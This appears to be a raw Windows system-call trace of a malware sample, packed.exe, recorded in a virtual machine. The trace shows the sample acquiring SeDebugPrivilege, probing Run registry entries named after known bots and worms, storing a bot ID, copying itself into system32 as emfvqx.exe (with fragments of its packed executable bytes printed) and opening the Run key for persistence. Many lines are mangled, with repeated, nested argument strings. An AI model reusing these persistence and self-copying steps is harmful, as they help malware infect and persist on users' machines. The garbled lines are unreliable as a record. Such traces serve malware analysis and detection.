 01260  1744   NtQueryValueKey  (140,  (140, "MaxRpcSize", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01261  1744   NtClose  (140, ... ) == 0x0
 01262  1744   NtOpenKey  (0x20019, {24, 16, 0x40, 0, 0,  (0x20019, {24, 16, 0x40, 0, 0, "Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\packed.exe\RpcThreadPoolThrottle"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01263  1744   NtCreateEvent  (0x1f0003, 0x0, 1, 0, ... 140, ) == 0x0
 01264  1744   NtCreateEvent  (0x1f0003, 0x0, 1, 0, ... 144, ) == 0x0
 01265  1744   NtQuerySystemTime  (... {1853687218, 29926892}, ) == 0x0
 01266  1744   NtCreateEvent  (0x1f0003, 0x0, 0, 0, ... 148, ) == 0x0
 01267  1744   NtOpenKey  (0x20019, {24, 16, 0x40, 0, 0,  (0x20019, {24, 16, 0x40, 0, 0, "Software\Policies\Microsoft\Windows NT\Rpc"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01268  1744   NtQuerySystemInformation  (Performance, 312, ... {system info, class 2, size 312}, 0x0, ) == 0x0
 01269  1744   NtQueryInformationProcess  (-1, QuotaLimits, 32, ... {process info, class 1, size 32}, 0x0, ) == 0x0
 01270  1744   NtQueryInformationProcess  (-1, VmCounters, 44, ... {process info, class 3, size 44}, 0x0, ) == 0x0
 01271  1744   NtCreateEvent  (0x1f0003, 0x0, 0, 0, ... 152, ) == 0x0
 01272  1744   NtDuplicateObject  (-1, -2, -1, 0x0, 0, 2, ... 156, ) == 0x0
 01273  1744   NtAllocateVirtualMemory  (-1, 1359872, 0, 4096, 4096, 4, ... 1359872, 4096, ) == 0x0
 01274  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\System\CurrentControlSet\Control\ComputerName"}, ... 160, ) }, ... 160, ) == 0x0
 01275  1744   NtOpenKey  (0x20019, {24, 160, 0x40, 0, 0,  (0x20019, {24, 160, 0x40, 0, 0, "ActiveComputerName"}, ... 164, ) }, ... 164, ) == 0x0
 01276  1744   NtQueryValueKey  (164,  (164, "ComputerName", Full, 108, ... TitleIdx=0, Type=1, Name="ComputerName", Data="V\0I\0R\0T\0U\0A\0L\0\0\0"}, 60, ) , Full, 108, ... TitleIdx=0, Type=1, Name= (164, "ComputerName", Full, 108, ... TitleIdx=0, Type=1, Name="ComputerName", Data="V\0I\0R\0T\0U\0A\0L\0\0\0"}, 60, ) , Data= (164, "ComputerName", Full, 108, ... TitleIdx=0, Type=1, Name="ComputerName", Data="V\0I\0R\0T\0U\0A\0L\0\0\0"}, 60, ) }, 60, ) == 0x0
 01277  1744   NtClose  (164, ... ) == 0x0
 01278  1744   NtClose  (160, ... ) == 0x0
 01279  1744   NtCreateIoCompletion  (0x1f0003, 0x0, 0, ... 160, ) == 0x0
 01280  1744   NtCreateIoCompletion  (0x1f0003, 0x0, -1, ... 164, ) == 0x0
 01281  1744   NtDuplicateObject  (-1, 160, -1, 0x0, 0, 2, ... 168, ) == 0x0
 01282  1744   NtOpenThreadToken  (-2, 0xc, 1, ... ) == STATUS_NO_TOKEN
 01283  1744   NtCreateEvent  (0x1f0003, 0x0, 1, 0, ... 172, ) == 0x0
 01284  1744   NtOpenThreadToken  (-2, 0xc, 1, ... ) == STATUS_NO_TOKEN
 01285  1744   NtSetInformationThread  (-2, ImpersonationToken, {ImpToken=0,}, 4, ... ) == 0x0
 01286  1744   NtCreateFile  (0xc0100080, {24, 0, 0x40, 0, 1243228,  (0xc0100080, {24, 0, 0x40, 0, 1243228, "\??\PIPE\lsarpc"}, 0x0, 0, 3, 1, 64, 0, 0, ... 176, {status=0x0, info=1}, ) }, 0x0, 0, 3, 1, 64, 0, 0, ... 176, {status=0x0, info=1}, ) == 0x0
 01287  1744   NtSetInformationFile  (176, 1243284, 8, Pipe, ... {status=0x0, info=0}, ) == 0x0
 01288  1744   NtSetInformationFile  (176, 1243272, 8, Completion, ... {status=0x0, info=0}, ) == 0x0
 01289  1744   NtSetInformationThread  (-2, ImpersonationToken, {ImpToken=0,}, 4, ... ) == 0x0
 01290  1744   NtWriteFile  (176, 153, 0, 0,  (176, 153, 0, 0, "\5\0\13\3\20\0\0\0H\0\0\0\1\0\0\0\270\20\270\20\0\0\0\0\1\0\0\0\0\0\1\0xW4\224\22\315\253\357\0\1#Eg\211\253\0\0\0\0\4]\210\212\353\34\311\21\237\350\10\0+\20H`\2\0\0\0", 72, {0, 0}, 0, ... {status=0x0, info=72}, ) , 72, {0, 0}, 0, ... {status=0x0, info=72}, ) == 0x0
 01291  1744   NtReadFile  (176, 153, 0, 0, 1024, {0, 0}, 0, ... {status=0x0, info=68},  (176, 153, 0, 0, 1024, {0, 0}, 0, ... {status=0x0, info=68}, "\5\0\14\3\20\0\0\0D\0\0\0\1\0\0\0\270\20\270\20N+\0\0\14\0\PIPE\lsass\0\0\0\1\0\0\0\0\0\0\0\4]\210\212\353\34\311\21\237\350\10\0+\20H`\2\0\0\0", ) , ) == 0x0
 01292  1744   NtFsControlFile  (176, 153, 0x0, 0x0, 0x11c017,  (176, 153, 0x0, 0x0, 0x11c017, "\5\0\0\3\20\0\0\0@\0\0\0\1\0\0\0(\0\0\0\0\0,\0\0\0\0\0\30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0$\377\22\0\14\0\0\0\2\0\1\0\0\10\0\0", 64, 1024, ... {status=0x103, info=68}, "\5\0\14\3\20\0\0\0D\0\0\0\1\0\0\0\270\20\270\20N+\0\0\14\0\PIPE\lsass\0\0\0\1\0\0\0\0\0\0\0\4]\210\212\353\34\311\21\237\350\10\0+\20H`\2\0\0\0", ) , 64, 1024, ... {status=0x103, info=68},  (176, 153, 0x0, 0x0, 0x11c017, "\5\0\0\3\20\0\0\0@\0\0\0\1\0\0\0(\0\0\0\0\0,\0\0\0\0\0\30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0$\377\22\0\14\0\0\0\2\0\1\0\0\10\0\0", 64, 1024, ... {status=0x103, info=68}, "\5\0\14\3\20\0\0\0D\0\0\0\1\0\0\0\270\20\270\20N+\0\0\14\0\PIPE\lsass\0\0\0\1\0\0\0\0\0\0\0\4]\210\212\353\34\311\21\237\350\10\0+\20H`\2\0\0\0", ) , ) == 0x103
 01293  1744   NtFsControlFile  (176, 153, 0x0, 0x0, 0x11c017,  (176, 153, 0x0, 0x0, 0x11c017, "\5\0\0\3\20\0\0\0`\0\0\0\2\0\0\0H\0\0\0\0\0\37\0\0\0\0\0&H/\254b\363\222I\243j\304#\242z\321\340 \0"\0\200\264\24\0\21\0\0\0\0\0\0\0\20\0\0\0S\0e\0D\0e\0b\0u\0g\0P\0r\0i\0v\0i\0l\0e\0g\0e\0", 96, 1024, ... {status=0x103, info=48}, "\5\0\2\3\20\0\0\00\0\0\0\1\0\0\0\30\0\0\0\0\0\0\0\0\0\0\0&H/\254b\363\222I\243j\304#\242z\321\340\0\0\0\0", ) \0\200\264\24\0\21\0\0\0\0\0\0\0\20\0\0\0S\0e\0D\0e\0b\0u\0g\0P\0r\0i\0v\0i\0l\0e\0g\0e\0 (176, 153, 0x0, 0x0, 0x11c017, "\5\0\0\3\20\0\0\0`\0\0\0\2\0\0\0H\0\0\0\0\0\37\0\0\0\0\0&H/\254b\363\222I\243j\304#\242z\321\340 \0"\0\200\264\24\0\21\0\0\0\0\0\0\0\20\0\0\0S\0e\0D\0e\0b\0u\0g\0P\0r\0i\0v\0i\0l\0e\0g\0e\0", 96, 1024, ... {status=0x103, info=48}, "\5\0\2\3\20\0\0\00\0\0\0\1\0\0\0\30\0\0\0\0\0\0\0\0\0\0\0&H/\254b\363\222I\243j\304#\242z\321\340\0\0\0\0", ) \5\0\2\3\20\0\0\00\0\0\0\1\0\0\0\30\0\0\0\0\0\0\0\0\0\0\0&H/\254b\363\222I\243j\304#\242z\321\340\0\0\0\0", ) == 0x103
 01294  1744   NtFsControlFile  (176, 153, 0x0, 0x0, 0x11c017,  (176, 153, 0x0, 0x0, 0x11c017, "\5\0\0\3\20\0\0\0,\0\0\0\3\0\0\0\24\0\0\0\0\0\0\0\0\0\0\0&H/\254b\363\222I\243j\304#\242z\321\340", 44, 1024, ... {status=0x103, info=36}, "\5\0\2\3\20\0\0\0$\0\0\0\2\0\0\0\14\0\0\0\0\0\0\0\24\0\0\0\0\0\0\0\0\0\0\0", ) , 44, 1024, ... {status=0x103, info=36},  (176, 153, 0x0, 0x0, 0x11c017, "\5\0\0\3\20\0\0\0,\0\0\0\3\0\0\0\24\0\0\0\0\0\0\0\0\0\0\0&H/\254b\363\222I\243j\304#\242z\321\340", 44, 1024, ... {status=0x103, info=36}, "\5\0\2\3\20\0\0\0$\0\0\0\2\0\0\0\14\0\0\0\0\0\0\0\24\0\0\0\0\0\0\0\0\0\0\0", ) , ) == 0x103
 01295  1744   NtClose  (172, ... ) == 0x0
 01296  1744   NtClose  (176, ... ) == 0x0
 01297  1744   NtAdjustPrivilegesToken  (136, 0, 1245080, 16, 0, 0, ... ) == 0x0
 01298  1744   NtOpenKey  (0xf003f, {24, 16, 0x40, 0, 0,  (0xf003f, {24, 16, 0x40, 0, 0, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"}, ... 176, ) }, ... 176, ) == 0x0
 01299  1744   NtQueryValueKey  (176,  (176, "Windows Security Manager", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01300  1744   NtClose  (176, ... ) == 0x0
 01301  1744   NtOpenKey  (0xf003f, {24, 16, 0x40, 0, 0,  (0xf003f, {24, 16, 0x40, 0, 0, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"}, ... 176, ) }, ... 176, ) == 0x0
 01302  1744   NtQueryValueKey  (176,  (176, "Disk Defragmenter", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01303  1744   NtClose  (176, ... ) == 0x0
 01304  1744   NtOpenKey  (0xf003f, {24, 16, 0x40, 0, 0,  (0xf003f, {24, 16, 0x40, 0, 0, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"}, ... 176, ) }, ... 176, ) == 0x0
 01305  1744   NtQueryValueKey  (176,  (176, "System Restore Service", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01306  1744   NtClose  (176, ... ) == 0x0
 01307  1744   NtOpenKey  (0xf003f, {24, 16, 0x40, 0, 0,  (0xf003f, {24, 16, 0x40, 0, 0, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"}, ... 176, ) }, ... 176, ) == 0x0
 01308  1744   NtQueryValueKey  (176,  (176, "Bot Loader", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01309  1744   NtClose  (176, ... ) == 0x0
 01310  1744   NtOpenKey  (0xf003f, {24, 16, 0x40, 0, 0,  (0xf003f, {24, 16, 0x40, 0, 0, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"}, ... 176, ) }, ... 176, ) == 0x0
 01311  1744   NtQueryValueKey  (176,  (176, "SysTray", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01312  1744   NtClose  (176, ... ) == 0x0
 01313  1744   NtOpenKey  (0xf003f, {24, 16, 0x40, 0, 0,  (0xf003f, {24, 16, 0x40, 0, 0, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"}, ... 176, ) }, ... 176, ) == 0x0
 01314  1744   NtQueryValueKey  (176,  (176, "WinUpdate", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01315  1744   NtClose  (176, ... ) == 0x0
 01316  1744   NtOpenKey  (0xf003f, {24, 16, 0x40, 0, 0,  (0xf003f, {24, 16, 0x40, 0, 0, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"}, ... 176, ) }, ... 176, ) == 0x0
 01317  1744   NtQueryValueKey  (176,  (176, "Windows Update Service", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01318  1744   NtClose  (176, ... ) == 0x0
 01319  1744   NtOpenKey  (0xf003f, {24, 16, 0x40, 0, 0,  (0xf003f, {24, 16, 0x40, 0, 0, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"}, ... 176, ) }, ... 176, ) == 0x0
 01320  1744   NtQueryValueKey  (176,  (176, "avserve.exe", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01321  1744   NtClose  (176, ... ) == 0x0
 01322  1744   NtOpenKey  (0xf003f, {24, 16, 0x40, 0, 0,  (0xf003f, {24, 16, 0x40, 0, 0, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"}, ... 176, ) }, ... 176, ) == 0x0
 01323  1744   NtQueryValueKey  (176,  (176, "avserve2.exeUpdate Service", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01324  1744   NtClose  (176, ... ) == 0x0
 01325  1744   NtOpenKey  (0xf003f, {24, 16, 0x40, 0, 0,  (0xf003f, {24, 16, 0x40, 0, 0, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"}, ... 176, ) }, ... 176, ) == 0x0
 01326  1744   NtQueryValueKey  (176,  (176, "MS Config v13", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01327  1744   NtClose  (176, ... ) == 0x0
 01328  1744   NtOpenKey  (0xf003f, {24, 16, 0x40, 0, 0,  (0xf003f, {24, 16, 0x40, 0, 0, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"}, ... 176, ) }, ... 176, ) == 0x0
 01329  1744   NtQueryValueKey  (176,  (176, "Windows Update", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01330  1744   NtClose  (176, ... ) == 0x0
 01331  1744   NtAllocateVirtualMemory  (-1, 1363968, 0, 4096, 4096, 4, ... 1363968, 4096, ) == 0x0
 01332  1744   NtOpenKey  (0xf003f, {24, 16, 0x40, 0, 0,  (0xf003f, {24, 16, 0x40, 0, 0, "Software\Microsoft\Wireless"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01333  1744   NtCreateKey  (0xf003f, {24, 16, 0x40, 0, 0,  (0xf003f, {24, 16, 0x40, 0, 0, "Software\Microsoft\Wireless"}, 0, 0x0, 0, ... }, 0, 0x0, 0, ...
 01334  1744   NtSetInformationFile  (-2147482448, -139348976, 8, EndOfFile, ... {status=0x0, info=0}, ) == 0x0
 01335  1744   NtSetInformationFile  (-2147482448, -139349444, 8, EndOfFile, ... {status=0x0, info=0}, ) == 0x0
 01336  1744   NtSetInformationFile  (-2147482448, -139349260, 8, EndOfFile, ... {status=0x0, info=0}, ) == 0x0
 01337  1744   NtSetInformationFile  (-2147482448, -139349072, 8, EndOfFile, ... {status=0x0, info=0}, ) == 0x0
 01333  1744   NtCreateKey  ... 176, 1, ) == 0x0
 01338  1744   NtSetValueKey  (176,  (176, "ID", 0, 1, "e\0x\0g\0w\0h\0t\0b\0g\0w\0g\0v\0r\0d\0l\0g\0v\0o\0r\0x\0\0\0", 40, ... ) , 0, 1,  (176, "ID", 0, 1, "e\0x\0g\0w\0h\0t\0b\0g\0w\0g\0v\0r\0d\0l\0g\0v\0o\0r\0x\0\0\0", 40, ... ) , 40, ... ) == 0x0
 01339  1744   NtClose  (176, ... ) == 0x0
 01340  1744   NtOpenKey  (0xf003f, {24, 16, 0x40, 0, 0,  (0xf003f, {24, 16, 0x40, 0, 0, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"}, ... 176, ) }, ... 176, ) == 0x0
 01341  1744   NtQueryValueKey  (176,  (176, "Cryptographic Service", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 01342  1744   NtClose  (176, ... ) == 0x0
 01343  1744   NtCreateKey  (0xf003f, {24, 16, 0x40, 0, 0,  (0xf003f, {24, 16, 0x40, 0, 0, "Software\Microsoft\Wireless"}, 0, 0x0, 0, ... 176, 2, ) }, 0, 0x0, 0, ... 176, 2, ) == 0x0
 01344  1744   NtSetValueKey  (176,  (176, "Client", 0, 1, "1\0\0\0", 4, ... , 0, 1,  (176, "Client", 0, 1, "1\0\0\0", 4, ... , 4, ...
 01345  1744   NtSetInformationFile  (-2147482448, -139348624, 8, EndOfFile, ... {status=0x0, info=0}, ) == 0x0
 01344  1744   NtSetValueKey  ... ) == 0x0
 01346  1744   NtClose  (176, ... ) == 0x0
 01347  1744   NtCreateFile  (0x80100080, {24, 0, 0x40, 0, 1243484,  (0x80100080, {24, 0, 0x40, 0, 1243484, "\??\u:\work\packed.exe"}, 0x0, 0, 1, 1, 2097252, 0, 0, ... 176, {status=0x0, info=1}, ) }, 0x0, 0, 1, 1, 2097252, 0, 0, ... 176, {status=0x0, info=1}, ) == 0x0
 01348  1744   NtQueryInformationFile  (176, 1243920, 8, AttributeFlag, ... {status=0x0, info=8}, ) == 0x0
 01349  1744   NtQueryInformationFile  (176, 1243836, 24, Standard, ... {status=0x0, info=24}, ) == 0x0
 01350  1744   NtQueryInformationFile  (176, 1243652, 40, Basic, ... {status=0x0, info=40}, ) == 0x0
 01351  1744   NtAllocateVirtualMemory  (-1, 1368064, 0, 8192, 4096, 4, ... 1368064, 8192, ) == 0x0
 01352  1744   NtQueryInformationFile  (176, 1364160, 4094, Stream, ... {status=0x0, info=38}, ) == 0x0
 01353  1744   NtQueryInformationFile  (176, 1242100, 40, Basic, ... {status=0x0, info=40}, ) == 0x0
 01354  1744   NtQueryInformationFile  (176, 1242376, 4, Ea, ... {status=0x0, info=4}, ) == 0x0
 01355  1744   NtCreateFile  (0x40110080, {24, 0, 0x40, 0, 1242252,  (0x40110080, {24, 0, 0x40, 0, 1242252, "\??\C:\WINDOWS\system32\emfvqx.exe"}, 0x0, 32, 0, 5, 100, 0, 0, ... }, 0x0, 32, 0, 5, 100, 0, 0, ...
 01356  1744   NtClose  (-2147481380, ... ) == 0x0
 01355  1744   NtCreateFile  ... 172, {status=0x0, info=2}, ) == 0x0
 01357  1744   NtQueryVolumeInformationFile  (172, 1242404, 536, Attribute, ... {status=0x0, info=20}, ) == 0x0
 01358  1744   NtQueryInformationFile  (172, 1241988, 40, Basic, ... {status=0x0, info=40}, ) == 0x0
 01359  1744   NtQueryVolumeInformationFile  (176, 1242404, 536, Attribute, ... {status=0x0, info=20}, ) == 0x0
 01360  1744   NtQueryVolumeInformationFile  (176, 1241748, 8, Device, ... {status=0x0, info=8}, ) == 0x0
 01361  1744   NtSetInformationFile  (172, 1242304, 8, EndOfFile, ... {status=0x0, info=0}, ) == 0x0
 01362  1744   NtCreateSection  (0xf001f, 0x0, 0x0, 2, 134217728, 176, ... 180, ) == 0x0
 01363  1744   NtMapViewOfSection  (180, -1, (0x0), 0, 0, {0, 0}, 0, 1, 0, 2, ... (0x3b0000), {0, 0}, 188416, ) == 0x0
 01364  1744   NtClose  (180, ... ) == 0x0
 01365  1744   NtWriteFile  (172, 0, 0, 0,  (172, 0, 0, 0, "MZ\220\0\3\0\0\0\4\0\0\0\377\377\0\0\270\0\0\0\0\0\0\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0fn\0\0\330\0\0\0\16\37\272\16\0\264\11\315!\270\1L\315!This program cannot be run in DOS mode.\15\15\12$\0\0\0\0\0\0\0I\3538\210\15\212V\333\15\212V\333\15\212V\333\216\226X\333\17\212V\333\345\225R\333\17\212V\333\15\212V\333\12\212V\333\15\212W\333[\212V\333o\225E\333\4\212V\333\345\225]\333\7\212V\333Rich\15\212V\333\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0PE\0\0L\1\4\0\310Y\330@\0\0\0\0\0\0\0\0\340\0\17\1\13\1\6\0\0 \0\0\0\20\0\0\0P\0\0\0\240\0\0\0`\0\0\0\200\0\0\0\0B1\0\20\0\0\0\2\0\0\4\0\0\0\0\0\0\0\4\0\0\0\0\0\0\0\0\260\0\0\0\20\0\0\0\0\0\0\2\0\0\0\0\0\20\0\0\20\0\0\0\0\20\0\0\20\0\0\0\0\0\0\20\0\0\0\0\0\0\0\0\0\0\0\0\200\0\0h\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0UPX0\0\0\0\0\0P\0\0\0\20\0\0\0\0\0\0\0\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 61440, 0x0, 0, ... {status=0x0, info=61440}, ) , 61440, 0x0, 0, ... {status=0x0, info=61440}, ) == 0x0
 01366  1744   NtWriteFile  (172, 0, 0, 0,  (172, 0, 0, 0, "\347\21t;\335\303X\37\205\16\16.$bX\277\252\177D\12\14\10\256\370\224o\334X^BK\242p\1\260mz\336@2\340\254LB\205\275"*\367bO\326\237\264\246\24W\347\320\242gZl\344tL\353\320Eu\213`\210@7\341\14\227\333\257\260\30\17r\11\344\264\250\365\350\247\360H\213\350'\2\2B\350\356\350\352\4\273\315\221U]\237\347\1\201\27(4\253\322d\1\200\35<\20\230\265\364\212\247\15\244\260\213_\361\16\212\3W-)\225\363SJ;\220{\303\267\316X1Bd_\350B|\227\374$\\366\316Fj\266P\17\254\216\200\16(\22\31zH\31\212\36$\2i\215P\227\230\33\254H\250\37%y\355\17\313\302Z\267t\242F\4\10\5[/)c\230Xv\357&\217\200\0\363\356\331\211\2/`\217\364.\0P\277"\27z\350\16\34\33\330\356\2638\367\207\240\251//a'\16,\332\211\225\302X\360\267V\311Kb\356\340z.n\5\264\277>\235\335\204\245b\250\251\330.G\2147\362\1C\330\262\354\17\14d\231jd\303\14R$&\3310\206\377\231^\16\213\242\352\33\242\340\21\367\210\317\7J\271\330\37\366\272\230\263c\12B\336\370L\211\353\352\261\207\13\354[\215\230k\34\211\6\310\33\20\14\240\377Zs\231\2043,\211\34h\1\325J&\13\225\31\246\204\314\32\301@\227+\212\23\224\374#\362\211\205\254*\3\341\246W\224\263\340\340\354\6_\20\26\26\354\14\210\31$zCoJ\351\245\274\14\32[3\350\257\240}\265_\220\37\311`\361]\367\306\250>z3o=\366\3238\373\226\347\310\335WK\214\33\177V\203\210\222}\353s\26GVK\246C\303\335^\12\244\35\330\355'\35\242\321g\341z\231M\27\16C", 61440, 0x0, 0, ... {status=0x0, info=61440}, ) *\367bO\326\237\264\246\24W\347\320\242gZl\344tL\353\320Eu\213`\210@7\341\14\227\333\257\260\30\17r\11\344\264\250\365\350\247\360H\213\350'\2\2B\350\356\350\352\4\273\315\221U]\237\347\1\201\27(4\253\322d\1\200\35<\20\230\265\364\212\247\15\244\260\213_\361\16\212\3W-)\225\363SJ;\220{\303\267\316X1Bd_\350B|\227\374$\\366\316Fj\266P\17\254\216\200\16(\22\31zH\31\212\36$\2i\215P\227\230\33\254H\250\37%y\355\17\313\302Z\267t\242F\4\10\5[/)c\230Xv\357&\217\200\0\363\356\331\211\2/`\217\364.\0P\277 (172, 0, 0, 0, "\347\21t;\335\303X\37\205\16\16.$bX\277\252\177D\12\14\10\256\370\224o\334X^BK\242p\1\260mz\336@2\340\254LB\205\275"*\367bO\326\237\264\246\24W\347\320\242gZl\344tL\353\320Eu\213`\210@7\341\14\227\333\257\260\30\17r\11\344\264\250\365\350\247\360H\213\350'\2\2B\350\356\350\352\4\273\315\221U]\237\347\1\201\27(4\253\322d\1\200\35<\20\230\265\364\212\247\15\244\260\213_\361\16\212\3W-)\225\363SJ;\220{\303\267\316X1Bd_\350B|\227\374$\\366\316Fj\266P\17\254\216\200\16(\22\31zH\31\212\36$\2i\215P\227\230\33\254H\250\37%y\355\17\313\302Z\267t\242F\4\10\5[/)c\230Xv\357&\217\200\0\363\356\331\211\2/`\217\364.\0P\277"\27z\350\16\34\33\330\356\2638\367\207\240\251//a'\16,\332\211\225\302X\360\267V\311Kb\356\340z.n\5\264\277>\235\335\204\245b\250\251\330.G\2147\362\1C\330\262\354\17\14d\231jd\303\14R$&\3310\206\377\231^\16\213\242\352\33\242\340\21\367\210\317\7J\271\330\37\366\272\230\263c\12B\336\370L\211\353\352\261\207\13\354[\215\230k\34\211\6\310\33\20\14\240\377Zs\231\2043,\211\34h\1\325J&\13\225\31\246\204\314\32\301@\227+\212\23\224\374#\362\211\205\254*\3\341\246W\224\263\340\340\354\6_\20\26\26\354\14\210\31$zCoJ\351\245\274\14\32[3\350\257\240}\265_\220\37\311`\361]\367\306\250>z3o=\366\3238\373\226\347\310\335WK\214\33\177V\203\210\222}\353s\26GVK\246C\303\335^\12\244\35\330\355'\35\242\321g\341z\231M\27\16C", 61440, 0x0, 0, ... {status=0x0, info=61440}, ) , 61440, 0x0, 0, ... {status=0x0, info=61440}, ) == 0x0
 01367  1744   NtWriteFile  (172, 0, 0, 0,  (172, 0, 0, 0, "\303\371\10[ssu\11\207|\373\346\250\21\216\264\221^}$\245>\14j\325\257=\12\7\34\214\370%v\263s\330~Ok\257*iS\231\316H\10\2130\334\3771'<'\310i\26k\203\301\26@\267\14\247F\306^\4j}\274b\235d\3PD\215\200F\3310\275\254\371M9\246\342\265\224Q\5\331\254\360^\271\26>~\232\226|\301\16\304\306\270\207X\310\20\276n\272*I\353$\373d>\232\22\205\237\350\211\2032[[o=\260:\373]\344\27o#\241\342w\234\361\264\301\263P\271\321\354\210\353\253\222Y\347\207\251[\33\214N5 \374\33(w\201}?\264\232K\31\354\212\254w\24\304\201\253`\25\367u6\25k}\216\271\333n\323b\327\332c\31&\3448\225\350\252\32,\360\30\177*\223\333v\40`\10\335\34\210\233\e\13\\362\235\351\303\225/\252\263\334Cb~\303Y\370\320m\263\203r\15^\52\236\234P[\242\315\325\215\364z\333G\341\33\352\17\342\355H;\34\332\363\2\303o\215\301kK\335e\350!K\375\353\341Z"\7\307\352L\5\322\343Ua\332\273\201'ft\204^Y\371\242UY\367KY\246\35OY\244\320", 61440, 0x0, 0, ... {status=0x0, info=61440}, ) \304\201\253`\25\367u6\25k}\216\271\333n\323b\327\332c\31&\3448\225\350\252\32,\360\30\177*\223\333v\40`\10\335\34\210\233\e\13\\362\235\351\303\225/\252\263\334Cb~\303Y\370\320m\263\203r\15^\52\236\234P[\242\315\325\215\364z\333G\341\33\352\17\342\355H;\34\332\363\2\303o\215\301kK\335e\350!K\375\353\341Z (172, 0, 0, 0, "\303\371\10[ssu\11\207|\373\346\250\21\216\264\221^}$\245>\14j\325\257=\12\7\34\214\370%v\263s\330~Ok\257*iS\231\316H\10\2130\334\3771'<'\310i\26k\203\301\26@\267\14\247F\306^\4j}\274b\235d\3PD\215\200F\3310\275\254\371M9\246\342\265\224Q\5\331\254\360^\271\26>~\232\226|\301\16\304\306\270\207X\310\20\276n\272*I\353$\373d>\232\22\205\237\350\211\2032[[o=\260:\373]\344\27o#\241\342w\234\361\264\301\263P\271\321\354\210\353\253\222Y\347\207\251[\33\214N5 \374\33(w\201}?\264\232K\31\354\212\254w\24\304\201\253`\25\367u6\25k}\216\271\333n\323b\327\332c\31&\3448\225\350\252\32,\360\30\177*\223\333v\40`\10\335\34\210\233\e\13\\362\235\351\303\225/\252\263\334Cb~\303Y\370\320m\263\203r\15^\52\236\234P[\242\315\325\215\364z\333G\341\33\352\17\342\355H;\34\332\363\2\303o\215\301kK\335e\350!K\375\353\341Z"\7\307\352L\5\322\343Ua\332\273\201'ft\204^Y\371\242UY\367KY\246\35OY\244\320", 61440, 0x0, 0, ... {status=0x0, info=61440}, ) , 61440, 0x0, 0, ... {status=0x0, info=61440}, ) == 0x0
 01368  1744   NtWriteFile  (172, 0, 0, 0,  (172, 0, 0, 0, "1Vk+\210\37,\0\210\37-\0\210\37,\0\310\33,\0\274C*\0\343\36,\0\210\37,\0\210\37,\0\210\37,\01Vk+\210\37,\0\210\37+\0q`,\0\20\33,\200r`,\0H\33,\200s`,\0`\33,\200t`,\0\230\32,\200u`,\0\260\32,\200v`,\0\350\32,\200w`,\0\0\32,\200\210\37,\01Vk+\210\37,\0\210\37-\0\210\37,\08\33,\0(B*\0\234\37,\0\210\37,\0\210\37,\0\210\37,\01Vk+\210\37,\0\210\37-\0\210\37,\0P\33,\0, 3028, 0x0, 0, ... {status=0x0, info=3028}, ) , 3028, 0x0, 0, ... {status=0x0, info=3028}, ) == 0x0
 01369  1744   NtUnmapViewOfSection  (-1, 0x3b0000, ... ) == 0x0
 01370  1744   NtSetInformationFile  (172, 1243652, 40, Basic, ... {status=0x0, info=0}, ) == 0x0
 01371  1744   NtClose  (176, ... ) == 0x0
 01372  1744   NtClose  (172, ... ) == 0x0
 01373  1744   NtCreateKey  (0xf003f, {24, 16, 0x40, 0, 0,  (0xf003f, {24, 16, 0x40, 0, 0, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"}, 0, 0x0, 0, ... 172, 2, ) }, 0, 0x0, 0, ... 172, 2, ) == 0x0
